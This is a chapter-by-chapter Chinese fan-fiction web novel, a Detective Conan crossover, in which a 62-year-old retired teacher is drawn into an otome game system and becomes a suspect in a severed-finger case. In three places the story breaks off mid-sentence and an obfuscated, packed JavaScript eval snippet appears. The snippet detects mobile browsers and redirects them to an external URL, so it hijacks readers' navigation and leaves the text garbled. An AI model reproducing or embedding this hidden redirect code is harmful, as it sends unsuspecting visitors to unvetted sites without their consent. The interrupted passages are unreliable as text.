《六旬老头勇闯红黑游戏尽显王者风范》 1. 六十二岁、勇闯异世界 【尊敬的藤次晃先生: 您好! 为感谢您在此之前对我司游戏的大力支持,我们诚挚邀请您成为我司新开发游戏《红黑的恋爱游戏~少女王座登基指南》内测版本特邀初始玩家(玩家编号:B00001),因系统检测到您的年龄已经超过了五十周岁,故选择在赠送您初始礼包的同时,为您下发问卷,我们将根据您所填写问卷内容,为您提供更多福利! 问卷入口:[点此作答]】 这是他眼前、从刚才开始一直在闪烁着的文字。 周三的上午,六十二岁的藤次晃按照惯例,来到家附近的咖啡厅解决自己的早餐问题。一盘舒芙蕾或者欧姆蛋,搭配一杯热拿铁或是低脂牛奶,两者的搭配取决于他的心情,但基本没太多变化。 然而今天。 舒芙蕾刚刚被女服务生端上餐桌,下一秒,他眼前的世界骤然褪色,服务生那年轻的手也就这么停在原处,成为深灰色的雕塑。时间似乎随着色彩的消失而停滞了,周围吵闹人群也就此安静下来。 而他面前这个蓝色的系统弹窗是什么,藤次晃一无所知。 ……也不能这么说,他还是了解一点点的,毕竟他家里人除了他这个跟不上时代变化的老头,其他似乎多多少少都和那什么“二次元”沾点关系。 比如说他的儿子,似乎是什么游戏公司的高管,具体做的什么游戏不清楚,但每年打进他卡里的赡养费数目表明他一年挣得不少。 再比如说他孙女,隔三差五就会带着一群蓝头发、红头发、粉头发、黄头发、黑头发以及绿头发的动漫黏土小人、动漫塑料片小人以及动漫纸片小人到他这来找个空地摆起来拍照片,祝贺哪个动漫小人生日或者祭日。 更准确来说,日本这一岛国本身就以ACG文化出门,只要在这边生活过的人,就算对这些不感兴趣,也基本上看过类似的作品(像是《假面骑士》),而藤次晃年轻时是教师,学生们喜欢看的漫画和轻小说基本都在他桌面上走过一遭—— 这也就导致了。 穿越重生这两个词他能理解,系统或者特殊能力这种名词也勉强还能知道意思。 嗯…… 直觉告诉他,如果真的抬手去点那个作答按键的话,搞不好他这个六十多的老头子就会穿越到那什么《红黑》游戏里,去当轻小说男主角升级打怪了。 总而言之,先点X吧。 只是他的手刚抬起来,停在半空中没多久,又很快放下。 面前的光屏右上角根本不存在任何“X”,只有个代表“yes”的√。现代的游戏制作人心总是很脏的,和大洋彼岸的广告商相比虽然还差点,但那也是很脏。 那现在该怎么办? 藤次晃稍微地思考了一下这问题,随后,他看向了已经摆到他面前的舒芙蕾和拿铁。 先吃吧。 有着白金色头发的老年人叹了口气,拿起来一边的金属叉子,只是叉子尖锐端刚刚戳到舒芙蕾的表皮,下一秒,前方光屏的文字就迅速变化。 【已确认玩家身份。】 【未检测到答题意向,故采取第二方案。】 【玩家是否愿意系统读取相关信息数据?】 【继续进食(是);停止进食(否)】 【玩家B00001选择继续进食。】 【系统正在读取数据……】 当藤次晃吃下第一口松软的舒芙蕾时,光屏上的大段文字已经彻底消失。他的视线再次落到光屏上,就发现上面写着的内容变成了简短的一句: 【亲爱的藤次晃玩家,祝您游戏愉快!】 藤次晃:…… 藤次晃:? 这算是强买强卖吗? 他实在是想不明白,自己这个糟老头子到底还有什么值得这个游戏惦记的。刚刚被他吃下一口的舒芙蕾恢复成了原来的模样,褪去的色彩回归,活力满满的服务生用着和刚才截然不同的甜美声音祝藤次晃用餐愉快。 ……等等? 和刚才截然不同的声音? 藤次晃抬头,看向了服务生的侧脸。 ——他感到一阵恍惚。 这里是他每周三上午都要来的波洛咖啡厅,而刚刚祝他用餐愉快的服务生叫做榎本梓,是个大学生。除了这些信息外,他还想起来,这家咖啡厅的楼上开着一家颇有名气的侦探社,社长兼侦探职务的人为毛利小五郎,人送外号叫“沉睡的小五郎”。 ——不对。 他感到一阵头晕,于是放下叉子,揉了揉自己的眉心。不是这样的,他记得的事并不是这样,这里不应该是什么波洛咖啡厅,楼上住着的也不是什么侦探才对…… 正当他缓解自己不适、寻找真相的时候,咖啡厅的门被推开,有人走了进来。 ………… “啊,安室先生!” 榎本梓发出了诧异的声音,不过她惊讶也是正常的,毕竟在此之前,每次开店都是安室透先到,然而今天他却迟了许久:“是在来咖啡厅的路上出了什么事吗?” “是的。” 安室透点了点头,他微笑起来:“不过不是什么大事,已经解决了,今天上午小梓小姐自己一个人辛苦了。” “还好啦,上午来的客人基本没怎么点复杂的菜品。” 作为同事之间的寒暄就是这样,安室透一边倾听并给予应答,一边给自己系上了围裙,他的视线扫过并不大的咖啡厅,在陌生的客人身上稍微停留一会儿,但是看得最久的还是那位坐在窗边、穿着一身休闲服的老人。 老人单手揉着自己的眉心,似乎身体不太舒服的样子。而他的头发在阳光下泛着淡淡的金色,侧脸的脸型相比于日本人来说,要立体许多……是外国旅客? 不。 应该不是外国旅客,短期旅行和长期居住是能够看出区别来的,从这位老人的姿态以及习惯来看,至少是在日本生活了十年以上。 “……那位是?” 他迟疑地问了。 “哪位?”榎本梓顺着他的视线看去,便也看见了那位似乎头疼的客人,“啊,那位呀!他的名字好像是……诶?我应该记得的,但是我现在有一点想不起来……” “是常客吗,我怎么会没有印象?” 安室透悄然皱了皱眉,虽然在咖啡厅里出现生面孔是很正常的事,可听榎本梓的话,这位老先生来过他们店里不止一次——那么他为什么会没有印象? “是常客没错,不过那是在安室先生还没来之前吧?那位爷爷之前可能是出了什么事吧,已经有一段时间没来了。” “是吗?” “是啊,他每次来就只会点两样东西呢,餐点的话不是舒芙蕾就是欧姆蛋,饮品的话不是拿铁就是低脂的热牛奶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664741|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “真的每次都这样吗?” 榎本梓非常确定地点头了:“真的。” 金发服务生又看了那位老人几眼,发现对方已经把手从自己的眉心上拿了下来,大概是脑袋的不适已经缓解了。盘子里的舒芙蕾凉了,变得软塌塌,卖相变得不太好。 然而这并不影响老先生的心情,他就这么平静地吃掉了这份甜点,再安静地喝着杯子里的拿铁。 老人的视线虚虚地落在窗外,看得出来,只是在发呆。 “我去帮爷爷收拾一下盘子!” 榎本梓注意到客人已经吃完了东西,正打算过去收拾,给那位先生一片干净的桌面,方便他更好地坐下去发呆、又或者看书。只是安室透阻止了她: “让我去吧?” “诶?” 安室透笑着说出了听起来很有道理的话:“毕竟我也是这家咖啡店的服务生,有必要在熟客面前露个脸,让他记住我才对吧?” ………… 而被误以为是在发呆的藤次晃正在看着面前半透明的弹窗。 和方才的光屏相比,这个弹窗要透明上许多,如果不是他恰巧在老年人里视力比较出众,或许他根本不会注意到它在店铺玻璃的倒影里存在,上面用着日语写着: 「任务内容:请向主要人物自我介绍。 成功奖励:现金[一万日元]X10。 失败惩罚:流落街头。」 ……怎么还会有沦落街头这一惩罚? “客人?” 身边传来了年轻的男大学生的声音,正在思考着自己该怎么做的藤次晃顺着声音抬头,看见的便是那个金发黑皮肤的侍应生:“我可以收走这个空盘子吗?” 是没见过的面孔。 只是不知道为什么,他长得有一点点熟悉。 “……你是这家咖啡厅新来的服务生?”藤次晃问,他能看出这个年轻人的长相十分干净,是受女孩子欢迎的类型,而且看起来很年轻,因此,他又问了,“和小梓一样,是大学生吗?” “我看起来很像大学生吗?” 这个年轻人笑起来,先是反问,随后才用敬语回答了:“是的,我是前不久刚过来的,不过在这里兼职也算有一段时间了吧——我的名字是安室透,先生,正业的话、是个侦探。” “安室透……” 藤次晃念了一遍,他觉得这个名字有点耳熟,可惜老年人的记忆力不足以支撑他立刻想起来:“听起来是个好名字。” “是吗,感谢您的夸奖。” 服务生将盘子端起来时,藤次晃的视线落在了他的手上,发现这个男人的虎口处有一块地方相比于其他地方颜色浅上些许。只是他并没有太在意,很快,便开口了,打算做一个简短的自我介绍: “我是……” 【系统提示:请勿向NPC透露您的真实姓名。】 藤次晃把刚到嘴边的名字咽了回去:“……爷。” 我去你大爷的。 “……什么?” 安室透感觉自己好像听错了。 “我是慈,”藤次晃面不改色地道,在日语谐音梗里,慈的发音和爷爷相似,他把杯子放下了,这才继续地给自己编假名,“我孙子慈,如果你想的话,可以喊我孙子爷爷、或者爷爷。” 金发侍应生的表情一瞬间变得非常精彩。 2. 六十二岁、成为女王 精彩,永远只是瞬间。 安室透说到底也是见过大风大浪的侦探,在他这几年的职业生涯里,见过的人不计其数,虽然像面前这个老人家这样、一上来就让他喊爷爷的人十分少见,却也不能说没有。 “您真是会开玩笑呢,”他挂上了微笑的假面,又问了,“请问还需要什么吗?” “不了。” 虽说自己的目的落了空,藤次晃却不失落。 杯子里的咖啡还剩下三分之一,他再端起来,喝一口,留下一个浅浅的底后,便伸手去拿放在桌下的手杖。也不知道他究竟是怎么放下去的,就连安室透都是在手杖被拿出来后,才发现它的存在。 白蜡木的手杖看起来十分朴素。 相较于市面上售卖的英伦绅士风商品手杖而言,它看起来要普通许多,既没有什么雕刻的花纹,也没有特殊的标记,握手部分的龙头与杖身相连,手杖底端敲击地面时,从传来的声音中能听出它是实心的。 “已经打算离开了吗?” “是的,”藤次晃点头,他和街边随处可见的老年人唯一的区别在于欧美人的脸和穿衣风格,“今天是个晴天,打算去奈良看看鹿。” “那么,请路上小心!” 榎本梓冒出头来,她道:“欢迎您下次再来,我孙子爷爷!” 老年人挥手作为应答,握着白蜡木手杖离去了,安室透却停在原地,陷入短暂的思考中。他总感觉这件事存在蹊跷——毕竟就时间来说,他在这里少说也待了有一个月半,而这么长的时间里,他时至今日才见到了这位熟客先生第一面。 “安室先生在想什么呢?” 同事注意他脸上那陷入思考的表情,于是问道。 “不是什么重要的事,我只是在想今天送来的货是不是少了什么,”安室透随口糊弄了过去,只是停了片刻,还是问了,“那位我孙子先生……” “我孙子先生怎么了吗?” 榎本梓有些不解。 “我总感觉他有些眼熟,”同事又说,“没准我和他在这之前,有在哪里见过面吧——啊,我想到了,今天店长没有定红线椒!” ……而这边的藤次晃,在出了咖啡厅后,这才将视线落在了自己面前、那个蓝色的光屏上,本来在上边的警告话语在他自我介绍时消失不见,取而代之的是任务完成后的结算界面。 【奖励结算中……】 【奖励领取成功,接下来是奖励的领取提示。】 【请跟随指示前往——[我孙子之家],地点:东京都米花町1丁目16番地。】 ……任务的惩罚是流落街头。 而任务的奖励是十万日元。 按照一般的游戏来说,奖励应该是直接出现在人物背包中的才对,而这个指引,从某种程度上来看,就像给了张支票让你自己去银行领钱一样。不是说这种给奖励的方式不好的意思,只是这样实在是麻烦。 至于[我孙子之家]。 用游戏的术语说,大概就是复活点之类的存在吧? 思绪万千,却只是在一瞬,这位见过人生大风浪的老人面上不显。他稍微挺直了因为年纪大而变弯的背,随后,握着手杖,跟随着系统界面的指示,前往领奖的地点。 只是。 这个系统究竟是做什么的? 藤次晃没忍住去想这一问题。方才吃早餐时,那过长的邮件他压根没看,字挤在一起,瞥一眼都觉得十分头疼,他已经从教师岗位退下来很久了,平时看的闲书,每次也就只看两三页,看得多了后老年人的脑袋也会痛。 不爱读书的人就算老了,也不会对书产生兴趣,不要问他不爱读书为什么会当上教师,被骗的,他们说工作稳定能养家糊口他就去了。 【玩家你好,检测到您对游戏产生相关疑惑,请在内心复述一遍您的问题,人工智能系统RZA10088竭诚为您服务。】 面前的指引界面变小,而在指引的下方,突然出现一个类似于聊天界面的正方块。 这个他知道,他在孙女手机上看到过,叫分屏操作。 还来不及为自己猜对操作名称而高兴,下一刻,就有个顶着哈士奇头像的人出现在聊天框中,那只狗开门见山,直接问了: 【RZA10088:你好,人,请问你有什么问题?】 ——刚刚系统说要怎么提问来着? 【RZA10088:在内心复述一遍你的问题就可以提问了!】 【RZA10088:请问您还有什么问题,人?】 ——这个系统是干什么的? 藤次晃非常上道,此时他正路过公园,长椅空着,周围没多少人,于是,他便在椅子上坐下,打算将这个叫系统的东西和那个什么《红黑》的游戏搞个明白。 这座公园离帝丹中学不远,坐下的时候,他听见了学校的上课铃声。 【RZA10088:你好,人,系统是我司为协助内测玩家攻略而开发的、不具有自主思考能力的人工不智能体,它将会根据算法为玩家您提供最佳的路线选择与相关帮助。】 ——这个游戏又是做什么的? 【RZA10088:抱歉,我不太懂您的意思,但是我司新开发的游戏《红黑的恋爱游戏~少女王座登基指南》是目前市面上唯一一款集高自由度探索、沉浸式推理、高烧脑程度权谋与非常规沉浸式战斗为一体的全息乙女游戏,在这里,您可以与各种类型的男性女性、跨性别人士与非人生物发展一段或甜蜜或遗憾的恋情,也可以在这里体会到无与伦比的本格与异格推理的乐趣,甚至还可以——】 好了不用说了。 有点晕字的藤次晃打断了这只狗的发言,太阳晒在身上暖洋洋的,而他的头因为看了一大堆字而眩晕无比,甚至有点发疼。 ——请总结以上发言,并告诉我如何脱离游戏。 【RZA10088:好的,人,总而言之,我们这是一款元素超多的乙女游戏,脱离游戏的办法是感情攻略度达到100%,或者事业攻略度达到100%,简单说来,就是需要你攻略某一关键角色。】 ——谈恋爱? 【RZA10088:对的,人,就是谈恋爱。】 藤次晃感觉这有点荒谬了。 他现年六十二,脸虽然还没皱得像张橘子皮,但老年斑和皱纹一样没落下,不管是看正面、还是侧面,亦或者是他的背影,有眼睛的人都能知道他是个货真价实的老年人——他一个老爷爷去学年轻人,谈恋爱、搞对象? 和谁? 牵着泰迪狗上街、一看就面容不善的卷毛老太太吗? 【RZA10088:没关系的,人,我知道,你们人的那个叫什么Xb是多种多样的,没准真的会有人喜欢你这种类型呢。】 还真是谢谢你的安慰。 藤次晃在眩晕与头疼中深深地吸了口气,觉得这有可能是自己的一场噩梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664742|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也是会有这种情况的呢,睡午觉时梦见自己站在什么奇怪的地方要做什么奇怪的事——这么想着的他,用自己布着些许老年斑的左手去捏右手手腕,即使皮肤松弛到像虎皮蛋糕的虎皮,但用力去拧的话。 还是挺疼的。 ……然而就算他这么做了,世界也一点改变都没有。 【RZA10088:你还有什么问题吗,人?】 坐在公园长椅上的老年人双手搭在白蜡木手杖上,他眯着眼,脸上表情不变,好半天没说话,甚至连心理活动都没有,像是没法接受现实。 而客服哈士奇又问了一遍刚才的问题: 【RZA10088:你还有什么问题吗,人?】 ——除了和别人谈恋爱,还有什么办法能脱离游戏吗? 藤次晃还是想挣扎一下,六十岁去和别人谈恋爱这种事光是说出去,别人都会要他小声点,他孙女有个爱用的表情包,上面的文字好像是什么“低声些,难道光彩吗”,非常适合用在这种时候。 【RZA10088:有噢。】 ——什么办法? 【RZA10088:成为暗夜女王。】 藤次晃:…… 藤次晃:? 他现在看起来就像当年盛极一时的某个地铁老人看手机的表情包,他觉得自己还没有老花眼到看不清字的程度。这句话每个平假名、片假名他都认识,里面的汉字也认识,但是不知道为什么连在一起,他就有点没搞懂。 比如说暗夜。 再比如说女王。 前者可能是什么形容词,先忽略不管;但是后者,女王,不管怎么样都和他扯不上关系吧,性别就不对劲啊。 【RZA10088:只要成为这个世界最大反派组织的头目,就可以达成暗夜女王的这一成就啦,听起来很简单又很酷,对吧?】 【RZA10088:撒,你也去试试吧!】 ——我是男人。 藤次晃有一种莫名其妙的恶寒感,世界对他这么一个可悲的老爷爷实在是,他是一个六十二岁的爷爷,让一个退休年纪的人去上班,这有点大逆不道;让一个爷爷去当什么“暗夜女王”,这更是天打雷劈的离经叛道。 【RZA10088:没关系的,人,就算是男人也是可以……等等?】 这种事情为什么会被他这个老年人遇上呢? 还没来得及感慨命途多舛,下一刻,有只白色的大型犬横冲直撞,直奔他坐着的长椅而来,身后跟着的、拽着狗绳的年轻人穿着阴沉,皮肤是宅家不出的那种苍白。 “呜!——” 白色的大狗在他面前停下了,并且发出了像是牛叫一样的狗叫声,随后,不断地供着这位老人家的腿,好像他猜中什么对它非常重要的东西一样。藤次晃低头一看,发现自己的脚确实踩着东西。 是一根鳕鱼肠。 ……不对。 鳕鱼肠多半是软的,然而他踩着的这个,里面像是夹了截骨头一样的东西似的——不,不是像,应该就是,这根本不是什么鳕鱼肠。 “啊啊啊啊啊!——” 那个说着“不要乱吃东西”的年轻狗主人刚把东西从狗嘴里掏出来后,下一秒,就爆发出了超高音的尖叫。他被吓得六神无主,屁股落到了地上,随后手脚并用往后爬,被他甩飞的东西就这样落到了藤次晃的腿上。 那样东西。 是人的断指。 3. 六十二岁、成为嫌疑人 比警察更早到达现场的,是有着八字胡的青年人和他身边一大一小的两个孩子。休闲服的打扮、衣服上因为盘腿坐而留下的褶皱,都表明了在此之前,他们就在不远处坐着,结合天气、以及公园环境来看,应该是在野餐。 工作日野餐吗? 那很有生活了。 藤次晃看了看这群侦探,又看了看掉落在自己腿上的人民碎片,心里一片沉寂,全然不为这跟断指所动……开玩笑的,他完全不敢动。 毕竟大家都清楚,人民的份量光是听起来就感觉沉重,更别说典藏款碎片了。 “是手指!” 那个还没有大人腿高的孩子,用手帕包裹住这截断指,拿起后,端详片刻,便面色凝重地说出了这个所有人都清楚的事实。藤次晃的腿上终于轻松下来,原本在他面前的系统弹窗与指引都在这个孩子张口时消失不见。 但是消失没多久,出现了一个新的弹窗。 【突发事件:????】 【事件进行中,新手指引已暂停,目前您的身份是[嫌疑人],请配合侦探与警察的工作,并证明自己的清白。】 【任务奖励:无。】 【任务惩罚:入狱。】 ……这把年纪还要变身犯罪嫌疑人吗? 而且要是进去了的话,大概直接会在监狱里老死吧——诶,这算不算一种结局,不是有那种吗,开局经常会出现的Bad End? 【系统提示:您无法通过Bad End线离开本游戏。】 “那我去报警。” 穿着粉色裙子的女孩很快反应过来,她从口袋中摸出了自己的手机,在拨打报警电话的同时,去提醒了他们之间唯一的大人,也就是有着八字胡的青年:“爸爸!” “我知道了。” 八字胡的青年虽然最开始出现时不太正经,但在听到那个小鬼的话后,也严肃起来,用着一副警察的模样要求发现犯罪现场的两个人配合工作,留在原地。只是他没有拿出警官证,自我介绍时,用的也是侦探这一身份: “我是大名鼎鼎的侦探、‘沉睡的小五郎’,麻烦你们两个配合一下工作,这里发生了凶杀案件,不管是谁都不可以离开现场……喂!小鬼,管好你的狗!让它不要再破坏案发现场了!” “抱、抱歉!” 年轻的狗主人有些无措,但是非常诚恳地道歉了。他去命令自己的小狗坐下,然而命令的效果微乎其微,那只白色的狗完全是很兴奋的样子,不断地在狗主人腿边打转,尾巴摇得如螺旋桨般停不下来。 藤次晃撑着手杖,稍微一使力,便从椅子上起来。自从年纪大了后,他的腿脚就不太好,这也是为什么他会随身带一根手杖。 白色的狗在见到他站起身时,反应并没有什么特殊的地方;而在手杖离开地面、被他握在手里时,本来就猛烈摇晃的尾巴摇得几乎像是要断了一样。它一个猛冲,像是饿狼扑食,直接张嘴,咬上了藤次晃的手杖底端。 被自家狗一个猛冲拽着跑的年轻人瞪大了眼。 “非常抱歉!”他的道歉速度非常快,看来在此之前,这种事发生过很多次了,“可乐只是因为太喜欢棍子了所以才会扑上来,爷爷你没有被吓到吧?可乐,算爸爸求你了,松口吧!把爷爷的棍子还回去啊!” 名叫可乐的白狗对饲主的恳求无动于衷,它对着手杖底端又啃又舔,活像是能从棍子底端舔出点狗零食般,不肯放弃这根可怜又朴素的白蜡木手杖。 “没事。” 藤次晃伸手,想要去摸这只大型犬的狗头,但这一动作似乎被可乐误会成了要拿走手杖,于是下一秒,在场所有人都听见了,这只大狗呲起了牙,喉咙里冒出了低沉的、一听就充满警告意味的低吼声。 狗主人终于厉声制止了:“可乐!” “对不起、真的非常非常对不起!”这个年轻人又一次道歉了,态度非常之诚恳,完全就是一副溺爱孩子的家长模样,藤次晃上次见到这种态度还是在学校里,学生家长压着学生的头来道歉,生怕被退学,“我们家可乐一般不这样的,我也不知道这是怎么了,它在外面一般不护食的,真的!” 藤次晃没生气,狗比小孩子可爱点,至少多数狗都没什么坏心眼: “我知道的,孩子,我没生气。” “非常感谢您的体谅!” 年轻人听到这句话后,深受感动,几乎要流泪了,他握住了老人家的手连连道谢: “真的非常感谢、我都不知道该怎么感谢您了……最近不知道为什么我们家可乐被投诉了很多次,如果再有一两次的话就会被要求搬走……啊,真是失礼,我的名字是直树,田中直树!” 藤次晃礼貌地笑了笑,并没有告诉这孩子自己的姓名。 这个插曲很快就随着警察的到来而过去了,可乐也在十多分钟后,意识到嘴里这根真的只是普通木头后,恋恋不舍地将手杖放下。戴着眼镜的孩子被警察和毛利小五郎联手从可怕的案发现场驱逐出去,他蹲在可乐的身边,表情有些愤愤不平。 这个穿着短裤的孩子蹲着,抓着那根手杖上端,将它从大狗的怀抱里抽走了,一边观察着这根手杖,一边嘟嚷着:“搞什么嘛……” “先生、先生?”警察小哥喊了两声,唤回了藤次晃飘散的神志,他带着本土口音的英语实在是有些难以理解,“我们现在需要询问你几个问题,希望你能配合我们,先生,请问您叫什么名字?” 一看就知道,他们把藤次晃认成了外国人。 “我听得懂日语。” 藤次晃道,这种事在他定居日本的四十多年里,每年都会遇到十多次:“你们可以说日语,我在东京定居几十年了。” “啊,好!” 长得很老实的年轻警员将刚刚的问题又问了一遍:“请问您的名字是?” 他的真名刚到嘴边,系统就像是检测到他意图那样,再次跳了出来,用红底白字提醒他不要把真名透露给游戏的任何角色。说真的,这种不要透露真名的设定,藤次晃只在孙女爱看的同人小说里见到过,怎么,这里也会搞神隐那套吗? “我孙子慈,”藤次晃停顿了片刻,决定沿用之前对那位咖啡店店员说的假名,”我的名字是我孙子慈。” 【已导入玩家代号。】 【玩家代号:我孙子慈。】 【身份证件已生成,证件存放位置:[外套内侧口袋]。】 外国人长相的老人从口袋中摸出了相应证件,是永久居留卡,上面照片中的人头与他有八分相似,只是看起来要年轻些,眼角的皱纹和鼻翼两侧的法令纹还未加深到现在这样,卡看起来有些老旧,转至背面,就能看见办卡时间,是十年前。 “好的、好的,”那警员确认了身份,进入了下个环节,“那么,请问您是什么时候来到公园这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664743|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,大概是几点?发现断指时,又是什么时候?” 藤次晃注意到那边地上蹲着的孩子正竖起耳朵偷听。 “现在是几点几分?” 他反问了警员。 “请不要误会,”藤次晃很快解释了,虽然这个借口听起来有些像可怜的孤寡老人,“我只是没有带手机出门,警官。像我这个年纪的人,一般没人会闲着没事联系我,平时也没有什么用得到手机的事,所以我一般不带它出门。” 如果放在年轻人身上,这个理由说不过去,然而说出这种话的是六十岁的老头,那可信度高得可以。 “现在是十点半噢!” 那孩子举起手腕上的手表来,为这个陌生的爷爷作了解答。 “那四十三分钟之前、也就是十点零几,我到这个公园,在椅子上坐下来;至于发现断指,那就要往后推迟五到十分钟,因为我坐下不是很久,那个年轻人就带着狗来了,后面的半小时左右,基本都是在等你们过来。” 藤次晃答道。 戴着眼镜的孩子很快就发现了应该在意的点:“爷爷怎么会知道得这么详细?” “铃声。” 他回答道。对于这么小的孩子,藤次晃一向很有耐心,他掏了掏自己的口袋,只摸到几个硬币,没摸到糖果,于是当做无事发生,解释了自己为什么能这么精准地确定时间: “我退休之前是中学的英语教师。” 中学的教师根据铃声判断时间是基本操作,而在这句解释落下的时候,远处传来了下课的铃声。江户川柯南看了一眼手表,发现距离他告诉这个老人家时间那会,恰恰过去了两分钟。 “原来如此,”姓高木的警员露出一副恍然大悟的表情,“……我们还是说回到正事上吧,请问您在报案之前有没有发现其他异常?或者可以称之为线索的事也行,总之是和本案有关的?” 退休教师摇了摇头,他甚至是在那个年轻的狗主人尖叫之后才发现这是断指的,怎么会知道案件的其他线索。 “我知道!” 江户川柯南举手了:“我们是在这个爷爷之前来的,毛利叔叔和小兰姐姐都看到了,公园里还有两个人路过了!但是他们很快就走了,完全没有停诶!” 高木警官似乎非常相信这孩子,注意力很快就转移到他那去了,他半蹲下来,询问道: “那,柯南,那两个人长什么样子,你记得吗?” “不太记得了,”那孩子看了一眼藤次晃,很快又道,“不过我记得是一个拎着袋子的大姐姐,还有一个拿着黑伞的哥哥!我想,查查附近监控的话,应该很快就会发现吧!” “死者身份查到了!” 下一秒,另一边传来了警员小姐的声音,那个短发、穿着芋紫色西装的警员小姐举着资料过来找姓目暮的戴帽警官:“半月前有人报过警,声称自己的妹妹失踪……” 她的声音在视线触及到那边站着的阴沉青年时,逐渐低了下来。 “死者的名字是?” 目暮警官问了。 “……幸实,”女警员的声音不知为何有些沉重,共情一向是女性的专属能力,她感受到的是在场另一个当事人的心情,“田中幸实,她是附近小区的租客,在附近的高等职业学校就读烹饪专业——” 她的话还没说完,那个阴沉沉的年轻人就像是失神了一般,松开了一直握在手中的狗绳。 4. 六十二岁、在案发现场 根据法医的初步鉴定,这跟断指是在死后被凶手切下的,伤口截面平整,手指肌肉被冷冻过,属于无名指,上面还有长时间佩戴过戒指和卸除美甲的痕迹,至于为什么能确定这根手指属于那位失踪者田中幸实…… “是因为这个。” 姓佐藤的警官小姐带来了相关证据与证人,她稍微一侧身,跟在身后的女孩就露出了全貌:“这孩子声称自己能确定这根手指的主人就是她朋友,我们已经加急安排了指纹对比……啊,她是田中幸实的朋友,叫洼寺律桐。” 那个年轻的女孩子戴着眼镜,是常见的书呆子类型的孩子。 藤次晃的视线在她身上停了许久,不知为何,他在这孩子身上感受到了和他孙女微妙且类似的感觉。是这孩子看起来学习就很好吗?不,应该不是,要准确去说的话…… 他注意到了那女孩脖子上露出的、项链的链条。 泛着金属冷光的宽项链在穿中性衣服、毛衣或者是暗黑系的套装的时候,很适合充作配饰,毕竟多数情况下,链条前段都会有小型的配饰,只是这孩子穿着外套,项链就这么被藏在了衣服里面,谁也不知道项链上的吊坠配饰是什么形状。 “初次见面,”洼寺道,“……请节哀。” 她后面那半句话是对着田中直树、也就是那个遛狗的男人说的,当然,接下来,她把更多的重点放在了证明上,谁也无法相信有人能仅凭一根手指就认出亲友。 “我之所以能认出那根手指属于幸实主要还是因为我们上个月有一起去做过美甲——幸实因为专业要求和平时习惯,所以在做了美甲没多久后就主动掰掉了中间三指的美甲,留下来的印子是很明显的。而且,她的无名指右侧有一道不太明显的伤疤。” 洼寺小姐停了停,又说:“那道伤疤是去年下半年才出现的,有点特殊,很好辨认。” 田中直树注视着这个女孩。他和死者的关系早在那个名字出现时、在他露出失神且不可置信的表情时,就已经不加掩饰地放在所有人面前。同一个姓氏、关系深厚的两人,除了家人外,还有什么可能呢? “……你和幸实关系很好吗?” 好半晌,男人问了。 “嗯。” 证人小姐点了点头,她看起来很平静,没有为死掉的好友而难过的意思。 “我们需要知道更多信息,”佐藤警官道,她表情严肃,身边的高木警员手里握着笔与记录本,“这场案件的性质很严重,这几天以来在这个公园路过的所有人都有可能是凶手,洼寺小姐、田中先生,既然你们是死者的室友与亲属,那就请二位先和我们整理一下田中小姐的关系网吧,这种案件有大概率是熟人或仇人作案。” “我知道了。” ……不管是从亲人、还是从室友的角度来看,田中幸实都是个老实本分的孩子。 据身为对方亲属的田中直树所说,在原生家庭方面,他们没有什么矛盾,田中幸实就只是为了更方便读职校,所以从家里搬了出去,后来因为大学忙碌,他们兄妹只通过电话联系,很少见面。 而在其室友洼寺口中,田中幸实偶尔分享给她的学校生活并没有什么异样,没有令人在意的、奇怪的什么事,也没有惹到什么古怪的家伙。她们是在种种机缘巧合之下认识的,现在是室友兼朋友的关系——两个人在米花町合租了一套1DK的公寓,住了至少半年,平时连摩擦都很少,关系好得过分。 “这简直是毫无线索。” 就连江户川柯南这个出力的侦探本人都这么觉得,更不要说其他人了。 藤次晃用大拇指指腹摩挲着手杖,同样也陷入了思考当中。 其实现在没什么和他有关的事了,经过查证,死者同他毫无关系,今天之前甚至连一面都没有见过……现在也没见到面,只见到一根手指。 至于他为什么留在这儿。 这很难说,但能确定的是,很大程度上是因为这个姓洼寺的孩子和他孙女很像,至于剩下的小部分,藤次晃自己也说不清。 “……啊!” 在这种时候,毛利兰右手握拳、随后敲击左手的掌心,露出了想起什么的表情,她开口,给大家提供了一个关键线索:“之前柯南不是说过吗,有两个人路过公园这种事!” “嗯。” 高木翻了翻自己的记录本,又道: “但是根据调查到的情况来看,公园附近的摄像头在不久前都由于各式各样的因素无法投入使用,所以我们暂时无法确定那两个人到底是谁。” “我记得。” 毛利兰回答了,她的视线扫过田中直树和洼寺律桐,最终落在了洼寺手中的塑料袋上:“之前路过公园的两人中,其中一人,应该就是洼寺小姐。” “嗯。” 